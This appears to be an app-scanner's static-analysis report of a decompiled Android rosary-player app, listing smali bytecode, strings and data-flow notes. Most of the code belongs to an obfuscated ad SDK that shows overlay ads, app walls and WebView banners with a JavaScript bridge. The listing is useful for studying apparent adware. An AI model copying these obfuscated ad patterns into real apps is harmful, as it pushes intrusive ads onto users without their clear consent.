7invoke-static {v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->access$000(Lcom/vxjxu/jkhfn1870/ImageBanner;)Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
8move-result-object v1
10invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isJsAd()Z
11move-result v1
12if-nez v1, :cond_31
14iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner;
16invoke-static {v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->access$000(Lcom/vxjxu/jkhfn1870/ImageBanner;)Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
17move-result-object v1
19invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isHtmlAd()Z
20move-result v1
21if-nez v1, :cond_31
23iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner;
25invoke-static {v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->access$000(Lcom/vxjxu/jkhfn1870/ImageBanner;)Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
26move-result-object v1
28invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isInlineScript()Z
29move-result v1
30if-nez v1, :cond_31
32iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner;
34invoke-static {v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->access$000(Lcom/vxjxu/jkhfn1870/ImageBanner;)Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
35move-result-object v1
37invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isPlainUrl()Z
38move-result v1
39if-eqz v1, :cond_6a
40cond_31:
41iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner;
43invoke-static {v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->access$100(Lcom/vxjxu/jkhfn1870/ImageBanner;)Z
44move-result v1
45if-eqz v1, :cond_6a
47iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner;
49invoke-static {v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->access$000(Lcom/vxjxu/jkhfn1870/ImageBanner;)Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
50move-result-object v1
52invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getTag()Ljava/lang/String;
53move-result-object v1
55invoke-virtual {p2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
56move-result v1
57if-nez v1, :cond_6a
58new-instance v0, Landroid/content/Intent;
60const-string v1, "android.intent.action.VIEW"
62invoke-static {p2}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
63move-result-object v2
65invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
  • Data flow analysis:
    • p0: android.intent.action.VIEW
66const/high16 v1, 0x10000000
68invoke-virtual {v0, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • p0: 268435456
69const/high16 v1, 0x800000
71invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 8388608
73iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->val$context:Landroid/content/Context;
75invoke-virtual {v1, v0}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
77iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner;
78const/4 v2, 0x0
80invoke-static {v1, v2}, Lcom/vxjxu/jkhfn1870/ImageBanner;->access$102(Lcom/vxjxu/jkhfn1870/ImageBanner;Z)Z
  • Data flow analysis:
    • p1: 0
81goto_69: return v3
82cond_6a:
83invoke-virtual {p1, p2}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
84goto/16 :goto_69
APIs
  • prsolutions.rosariofacileads.Player.access$200
  • android.media.MediaPlayer.release
  • prsolutions.rosariofacileads.Player.access$300
  • android.util.Log.e
  • prsolutions.rosariofacileads.Player.access$200
  • android.media.MediaPlayer.release
  • prsolutions.rosariofacileads.Player.access$202
  • prsolutions.rosariofacileads.Player.finish
  • prsolutions.rosariofacileads.Player.access$308
  • prsolutions.rosariofacileads.Player.access$400
  • prsolutions.rosariofacileads.Player.access$300
  • java.lang.Integer.valueOf
  • prsolutions.rosariofacileads.Player.access$500
Strings
  • ROSARIO
  • FINE
Position Instruction Meta Information
0.param p1, "Player" # Landroid/media/MediaPlayer;
1.prologue
3iget-object v0, p0, Lprsolutions/rosariofacileads/Player$1;->this$0:Lprsolutions/rosariofacileads/Player;
5invoke-static {v0}, Lprsolutions/rosariofacileads/Player;->access$200(Lprsolutions/rosariofacileads/Player;)Landroid/media/MediaPlayer;
6move-result-object v0
8invoke-virtual {v0}, Landroid/media/MediaPlayer;->release()V
10iget-object v0, p0, Lprsolutions/rosariofacileads/Player$1;->this$0:Lprsolutions/rosariofacileads/Player;
12invoke-static {v0}, Lprsolutions/rosariofacileads/Player;->access$300(Lprsolutions/rosariofacileads/Player;)I
13move-result v0
14const/16 v1, 0x50
15if-ne v0, v1, :cond_2f
17const-string v0, "ROSARIO"
19const-string v1, "FINE"
21invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: ROSARIO
    • msg: FINE
23iget-object v0, p0, Lprsolutions/rosariofacileads/Player$1;->this$0:Lprsolutions/rosariofacileads/Player;
25invoke-static {v0}, Lprsolutions/rosariofacileads/Player;->access$200(Lprsolutions/rosariofacileads/Player;)Landroid/media/MediaPlayer;
26move-result-object v0
28invoke-virtual {v0}, Landroid/media/MediaPlayer;->release()V
30iget-object v0, p0, Lprsolutions/rosariofacileads/Player$1;->this$0:Lprsolutions/rosariofacileads/Player;
31const/4 v1, 0x0
33invoke-static {v0, v1}, Lprsolutions/rosariofacileads/Player;->access$202(Lprsolutions/rosariofacileads/Player;Landroid/media/MediaPlayer;)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • p1: 0
35iget-object v0, p0, Lprsolutions/rosariofacileads/Player$1;->this$0:Lprsolutions/rosariofacileads/Player;
37invoke-virtual {v0}, Lprsolutions/rosariofacileads/Player;->finish()V
38goto_2e: return-void
39cond_2f:
40iget-object v0, p0, Lprsolutions/rosariofacileads/Player$1;->this$0:Lprsolutions/rosariofacileads/Player;
42invoke-static {v0}, Lprsolutions/rosariofacileads/Player;->access$308(Lprsolutions/rosariofacileads/Player;)I
44iget-object v0, p0, Lprsolutions/rosariofacileads/Player$1;->this$0:Lprsolutions/rosariofacileads/Player;
46iget-object v1, p0, Lprsolutions/rosariofacileads/Player$1;->this$0:Lprsolutions/rosariofacileads/Player;
48invoke-static {v1}, Lprsolutions/rosariofacileads/Player;->access$400(Lprsolutions/rosariofacileads/Player;)[I
49move-result-object v1
51iget-object v2, p0, Lprsolutions/rosariofacileads/Player$1;->this$0:Lprsolutions/rosariofacileads/Player;
53invoke-static {v2}, Lprsolutions/rosariofacileads/Player;->access$300(Lprsolutions/rosariofacileads/Player;)I
54move-result v2
55aget v1, v1, v2
57invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
58move-result-object v1
60invoke-static {v0, v1}, Lprsolutions/rosariofacileads/Player;->access$500(Lprsolutions/rosariofacileads/Player;Ljava/lang/Integer;)V
61goto/16 :goto_2e
APIs
  • com.vxjxu.jkhfn1870.OverlayAd.dismiss
  • com.vxjxu.jkhfn1870.OverlayAd.access$400
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.OverlayAd.access$400
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.OverlayAd.access$400
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.OverlayAd.sendEventData
  • android.app.Activity.finish
  • com.vxjxu.jkhfn1870.OverlayAd.sendEventData
Strings
  • DAU
  • DCC
  • DCM
  • 45
  • 25
Position Instruction Meta Information
0.annotation runtime Landroid/webkit/JavascriptInterface;
1.end annotation
2.prologue
4iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
6invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->dismiss()V
8invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String;
9move-result-object v0
11const-string v1, "DAU"
13invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DAU
14move-result v0
15if-nez v0, :cond_29
17invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String;
18move-result-object v0
20const-string v1, "DCC"
22invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DCC
23move-result v0
24if-nez v0, :cond_29
26invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String;
27move-result-object v0
29const-string v1, "DCM"
31invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DCM
32move-result v0
33if-eqz v0, :cond_38
34cond_29:
35iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
37const-string v1, "45"
39invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 45
40goto_30:
41iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
43iget-object v0, v0, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity;
45invoke-virtual {v0}, Landroid/app/Activity;->finish()V
46return-void
47cond_38:
48iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
50const-string v1, "25"
52invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 25
53goto/16 :goto_30
Cross References
APIs
  • android.graphics.Rect.<init>
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • android.app.Activity.getWindow
  • android.view.Window.getDecorView
  • android.view.View.getWindowVisibleDisplayFrame
  • android.view.Window.findViewById
  • android.view.View.getTop
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • StatusBar Height=
  • , TitleBar Height =
Position Instruction Meta Information
0.prologue
1new-instance v4, Landroid/graphics/Rect;
3invoke-direct {v4}, Landroid/graphics/Rect;-><init>()V
5invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
6move-result-object v2
7check-cast v2, Landroid/app/Activity;
9invoke-virtual {v2}, Landroid/app/Activity;->getWindow()Landroid/view/Window;
10move-result-object v5
12invoke-virtual {v5}, Landroid/view/Window;->getDecorView()Landroid/view/View;
13move-result-object v6
15invoke-virtual {v6, v4}, Landroid/view/View;->getWindowVisibleDisplayFrame(Landroid/graphics/Rect;)V
16iget v0, v4, Landroid/graphics/Rect;->top:I
17const v6, 0x1020002
19invoke-virtual {v5, v6}, Landroid/view/Window;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 16908290
20move-result-object v6
22invoke-virtual {v6}, Landroid/view/View;->getTop()I
23move-result v3
24sub-int v1, v3, v0
25new-instance v6, Ljava/lang/StringBuilder;
27invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
29const-string v7, "StatusBar Height= "
31invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: StatusBar Height=
32move-result-object v6
34invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
35move-result-object v6
37const-string v7, " , TitleBar Height = "
39invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: , TitleBar Height =
40move-result-object v6
42invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
43move-result-object v6
45invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
46move-result-object v6
48invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
49add-int v6, v0, v1
50return v6
APIs
  • prsolutions.rosariofacileads.Player.access$000
  • prsolutions.rosariofacileads.Player.access$100
  • android.widget.ImageView.getTop
  • prsolutions.rosariofacileads.Player.access$100
  • android.widget.ImageView.getHeight
  • prsolutions.rosariofacileads.Player.access$100
  • android.widget.ImageView.getWidth
  • prsolutions.rosariofacileads.Player.access$100
  • android.widget.ImageView.getTop
  • prsolutions.rosariofacileads.Player.access$100
  • android.widget.ImageView.getHeight
  • prsolutions.rosariofacileads.Player.access$100
  • android.widget.ImageView.getWidth
  • android.graphics.Rect.<init>
  • android.graphics.Canvas.drawBitmap
  • android.graphics.Canvas.restore
Position Instruction Meta Information
0.param p1, "canvas" # Landroid/graphics/Canvas;
1.prologue
3iget-object v5, p0, Lprsolutions/rosariofacileads/Player$SampleView;->coord:Lprsolutions/rosariofacileads/Player$Coord;
5invoke-virtual {v5}, Lprsolutions/rosariofacileads/Player$Coord;->getX()I
6move-result v5
7int-to-float v5, v5
9iget-object v6, p0, Lprsolutions/rosariofacileads/Player$SampleView;->this$0:Lprsolutions/rosariofacileads/Player;
11iget-object v6, v6, Lprsolutions/rosariofacileads/Player;->metrics:Landroid/util/DisplayMetrics;
12iget v6, v6, Landroid/util/DisplayMetrics;->density:F
13mul-float/2addr v5, v6
14float-to-int v2, v5
16iget-object v5, p0, Lprsolutions/rosariofacileads/Player$SampleView;->coord:Lprsolutions/rosariofacileads/Player$Coord;
18invoke-virtual {v5}, Lprsolutions/rosariofacileads/Player$Coord;->getX()I
19move-result v5
21invoke-static {}, Lprsolutions/rosariofacileads/Player;->access$000()I
22move-result v6
23add-int/2addr v5, v6
24int-to-float v5, v5
26iget-object v6, p0, Lprsolutions/rosariofacileads/Player$SampleView;->this$0:Lprsolutions/rosariofacileads/Player;
28iget-object v6, v6, Lprsolutions/rosariofacileads/Player;->metrics:Landroid/util/DisplayMetrics;
29iget v6, v6, Landroid/util/DisplayMetrics;->density:F
30mul-float/2addr v5, v6
31float-to-int v3, v5
33iget-object v5, p0, Lprsolutions/rosariofacileads/Player$SampleView;->coord:Lprsolutions/rosariofacileads/Player$Coord;
35invoke-virtual {v5}, Lprsolutions/rosariofacileads/Player$Coord;->getY()I
36move-result v5
37int-to-float v5, v5
39iget-object v6, p0, Lprsolutions/rosariofacileads/Player$SampleView;->this$0:Lprsolutions/rosariofacileads/Player;
41iget-object v6, v6, Lprsolutions/rosariofacileads/Player;->metrics:Landroid/util/DisplayMetrics;
42iget v6, v6, Landroid/util/DisplayMetrics;->density:F
43mul-float/2addr v5, v6
44float-to-int v4, v5
46iget-object v5, p0, Lprsolutions/rosariofacileads/Player$SampleView;->coord:Lprsolutions/rosariofacileads/Player$Coord;
48invoke-virtual {v5}, Lprsolutions/rosariofacileads/Player$Coord;->getY()I
49move-result v5
51invoke-static {}, Lprsolutions/rosariofacileads/Player;->access$000()I
52move-result v6
53add-int/2addr v5, v6
54int-to-float v5, v5
56iget-object v6, p0, Lprsolutions/rosariofacileads/Player$SampleView;->this$0:Lprsolutions/rosariofacileads/Player;
58iget-object v6, v6, Lprsolutions/rosariofacileads/Player;->metrics:Landroid/util/DisplayMetrics;
59iget v6, v6, Landroid/util/DisplayMetrics;->density:F
60mul-float/2addr v5, v6
61float-to-int v0, v5
62add-int/lit8 v2, v2, 0x0
63add-int/lit8 v3, v3, 0x0
65iget-object v5, p0, Lprsolutions/rosariofacileads/Player$SampleView;->this$0:Lprsolutions/rosariofacileads/Player;
67invoke-static {v5}, Lprsolutions/rosariofacileads/Player;->access$100(Lprsolutions/rosariofacileads/Player;)Landroid/widget/ImageView;
68move-result-object v5
70invoke-virtual {v5}, Landroid/widget/ImageView;->getTop()I
71move-result v5
73iget-object v6, p0, Lprsolutions/rosariofacileads/Player$SampleView;->this$0:Lprsolutions/rosariofacileads/Player;
75invoke-static {v6}, Lprsolutions/rosariofacileads/Player;->access$100(Lprsolutions/rosariofacileads/Player;)Landroid/widget/ImageView;
76move-result-object v6
78invoke-virtual {v6}, Landroid/widget/ImageView;->getHeight()I
79move-result v6
81iget-object v7, p0, Lprsolutions/rosariofacileads/Player$SampleView;->this$0:Lprsolutions/rosariofacileads/Player;
83invoke-static {v7}, Lprsolutions/rosariofacileads/Player;->access$100(Lprsolutions/rosariofacileads/Player;)Landroid/widget/ImageView;
84move-result-object v7
86invoke-virtual {v7}, Landroid/widget/ImageView;->getWidth()I
87move-result v7
88sub-int/2addr v6, v7
89div-int/lit8 v6, v6, 0x2
90add-int/2addr v5, v6
91add-int/2addr v4, v5
93iget-object v5, p0, Lprsolutions/rosariofacileads/Player$SampleView;->this$0:Lprsolutions/rosariofacileads/Player;
95invoke-static {v5}, Lprsolutions/rosariofacileads/Player;->access$100(Lprsolutions/rosariofacileads/Player;)Landroid/widget/ImageView;
96move-result-object v5
98invoke-virtual {v5}, Landroid/widget/ImageView;->getTop()I
99move-result v5
101iget-object v6, p0, Lprsolutions/rosariofacileads/Player$SampleView;->this$0:Lprsolutions/rosariofacileads/Player;
103invoke-static {v6}, Lprsolutions/rosariofacileads/Player;->access$100(Lprsolutions/rosariofacileads/Player;)Landroid/widget/ImageView;
104move-result-object v6
106invoke-virtual {v6}, Landroid/widget/ImageView;->getHeight()I
107move-result v6
109iget-object v7, p0, Lprsolutions/rosariofacileads/Player$SampleView;->this$0:Lprsolutions/rosariofacileads/Player;
111invoke-static {v7}, Lprsolutions/rosariofacileads/Player;->access$100(Lprsolutions/rosariofacileads/Player;)Landroid/widget/ImageView;
112move-result-object v7
114invoke-virtual {v7}, Landroid/widget/ImageView;->getWidth()I
115move-result v7
116sub-int/2addr v6, v7
117div-int/lit8 v6, v6, 0x2
118add-int/2addr v5, v6
119add-int/2addr v0, v5
120new-instance v1, Landroid/graphics/Rect;
122invoke-direct {v1, v2, v4, v3, v0}, Landroid/graphics/Rect;-><init>(IIII)V
124iget-object v5, p0, Lprsolutions/rosariofacileads/Player$SampleView;->mBitmap:Landroid/graphics/Bitmap;
125const/4 v6, 0x0
127iget-object v7, p0, Lprsolutions/rosariofacileads/Player$SampleView;->mPaint:Landroid/graphics/Paint;
129invoke-virtual {p1, v5, v6, v1, v7}, Landroid/graphics/Canvas;->drawBitmap(Landroid/graphics/Bitmap;Landroid/graphics/Rect;Landroid/graphics/Rect;Landroid/graphics/Paint;)V
  • Data flow analysis:
    • p1: 0
131invoke-virtual {p1}, Landroid/graphics/Canvas;->restore()V
132return-void
APIs
  • android.util.Log.i
  • java.lang.System.currentTimeMillis
  • android.util.Log.i
  • android.util.Log.e
  • com.vxjxu.jkhfn1870.SmartWallActivity.isShowing
  • android.util.Log.i
Strings
  • AirplaySDK
  • Initialising AppWall.....
  • AppWall called within 10 secs. Ignoring request
  • AppWall called within 10 secs. Ignoring request.
  • Error occurred in appwall
  • Another ad is showing on screen.
  • AirPlay is disabled Please enable to recive ads.
Position Instruction Meta Information
0.prologue
1try_start_0:
2const-string v2, "AirplaySDK"
4const-string v3, "Initialising AppWall....."
6invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Initialising AppWall.....
7sget-boolean v2, Lcom/vxjxu/jkhfn1870/AirPlay;->isIntegrationIssue:Z
8if-nez v2, :cond_11
10invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AirPlay;->checkSmartWallActivity()Z
11move-result v2
12if-nez v2, :cond_12
13cond_11: return-void
14cond_12:
15sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
16if-eqz v2, :cond_6b
18sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
20invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->isSDKEnabled(Landroid/content/Context;)Z
21move-result v2
22if-eqz v2, :cond_6b
24sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
26invoke-static {v2}, Lcom/vxjxu/jkhfn1870/SetPreferences;->getNextAdCallTime(Landroid/content/Context;)J
27move-result-wide v2
29invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
30move-result-wide v4
31cmp-long v2, v2, v4
32if-lez v2, :cond_42
34const-string v2, "AirplaySDK"
36const-string v3, "AppWall called within 10 secs. Ignoring request"
38invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: AppWall called within 10 secs. Ignoring request
40const-string v2, "AppWall called within 10 secs. Ignoring request."
42invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: AppWall called within 10 secs. Ignoring request.
43try_end_38: goto/16 :goto_11
44catch_39: move-exception v1
46const-string v2, "AirplaySDK"
48const-string v3, "Error occurred in appwall "
50invoke-static {v2, v3, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Error occurred in appwall
51goto/16 :goto_11
52cond_42:
53invoke-static {}, Lcom/vxjxu/jkhfn1870/SmartWallActivity;->isShowing()Z
54move-result v2
55if-eqz v2, :cond_55
57const-string v2, "AirplaySDK"
59const-string v3, "Another ad is showing on screen."
61invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Another ad is showing on screen.
63const-string v2, "Another ad is showing on screen."
65invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Another ad is showing on screen.
66goto/16 :goto_11
67cond_55:
68sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
70invoke-static {v2}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setNextAdCallTime(Landroid/content/Context;)Z
71new-instance v0, Lcom/vxjxu/jkhfn1870/AirPlay$3;
73invoke-direct {v0, p0}, Lcom/vxjxu/jkhfn1870/AirPlay$3;-><init>(Lcom/vxjxu/jkhfn1870/AirPlay;)V
75sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
77invoke-static {v2}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z
78move-result v2
79if-eqz v2, :cond_11
81invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;->launchNewHttpTask()V
82goto/16 :goto_11
83cond_6b:
84const-string v2, "AirplaySDK"
86const-string v3, "AirPlay is disabled Please enable to recive ads."
88invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: AirPlay is disabled Please enable to recive ads.
90const-string v2, "AirPlay is disabled Please enable to recive ads."
92invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: AirPlay is disabled Please enable to recive ads.
93try_end_77: goto/16 :goto_11
Cross References
APIs
  • java.lang.String.equals
Strings
  • top-right
  • bottom-center
  • bottom-left
  • bottom-right
  • center
  • top-center
  • top-left
Position Instruction Meta Information
0.param p1, "position" # Ljava/lang/String;
1.prologue
2const/16 v0, 0x35
4const-string v1, "top-right"
6invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: top-right
7move-result v1
8if-eqz v1, :cond_d
9const/16 v0, 0x35
10goto_c: return v0
11cond_d:
12const-string v1, "bottom-center"
14invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: bottom-center
15move-result v1
16if-eqz v1, :cond_18
17const/16 v0, 0x51
18goto/16 :goto_c
19cond_18:
20const-string v1, "bottom-left"
22invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: bottom-left
23move-result v1
24if-eqz v1, :cond_23
25const/16 v0, 0x53
26goto/16 :goto_c
27cond_23:
28const-string v1, "bottom-right"
30invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: bottom-right
31move-result v1
32if-eqz v1, :cond_2e
33const/16 v0, 0x55
34goto/16 :goto_c
35cond_2e:
36const-string v1, "center"
38invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: center
39move-result v1
40if-eqz v1, :cond_39
41const/16 v0, 0x11
42goto/16 :goto_c
43cond_39:
44const-string v1, "top-center"
46invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: top-center
47move-result v1
48if-eqz v1, :cond_44
49const/16 v0, 0x31
50goto/16 :goto_c
51cond_44:
52const-string v1, "top-left"
54invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: top-left
55move-result v1
56if-eqz v1, :cond_4f
57const/16 v0, 0x33
58goto/16 :goto_c
59cond_4f: const/16 v0, 0x35
60goto/16 :goto_c
APIs
  • com.vxjxu.jkhfn1870.OverlayAd.access$302
  • com.vxjxu.jkhfn1870.OverlayAd.dismiss
  • android.app.Activity.finish
  • android.webkit.WebViewClient.onReceivedError
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.e
Strings
  • AirplaySDK
  • Error occurred while loading Overlay Ad: code
  • , desc:
Position Instruction Meta Information
0.param p1, "view" # Landroid/webkit/WebView;
1.param p2, "errorCode" # I
2.param p3, "description" # Ljava/lang/String;
3.param p4, "failingUrl" # Ljava/lang/String;
4.prologue
6iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
7const/4 v2, 0x1
9invoke-static {v1, v2}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$302(Lcom/vxjxu/jkhfn1870/OverlayAd;Z)Z
  • Data flow analysis:
    • p1: 1
10try_start_6:
11iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
13invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/OverlayAd;->dismiss()V
15iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
17iget-object v1, v1, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity;
19invoke-virtual {v1}, Landroid/app/Activity;->finish()V
20try_end_12:
21invoke-super {p0, p1, p2, p3, p4}, Landroid/webkit/WebViewClient;->onReceivedError(Landroid/webkit/WebView;ILjava/lang/String;Ljava/lang/String;)V
22return-void
23catch_16: move-exception v0
25const-string v1, "AirplaySDK"
26new-instance v2, Ljava/lang/StringBuilder;
28invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
30const-string v3, "Error occurred while loading Overlay Ad: code "
32invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Error occurred while loading Overlay Ad: code
33move-result-object v2
35invoke-virtual {v2, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
36move-result-object v2
38const-string v3, ", desc: "
40invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: , desc:
41move-result-object v2
43invoke-virtual {v2, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
44move-result-object v2
46invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
47move-result-object v2
49invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
50goto/16 :goto_12
Cross References
APIs
  • java.lang.Boolean.booleanValue
  • android.content.Intent.<init>
  • android.content.Intent.setAction
  • android.content.Intent.setFlags
  • android.content.Intent.addFlags
  • android.content.Intent.putExtra
  • android.app.Activity.startActivity
  • android.util.Log.e
Strings
  • mfpad
  • adtype
  • MFP
  • AirplaySDK
  • Not able to get doc.
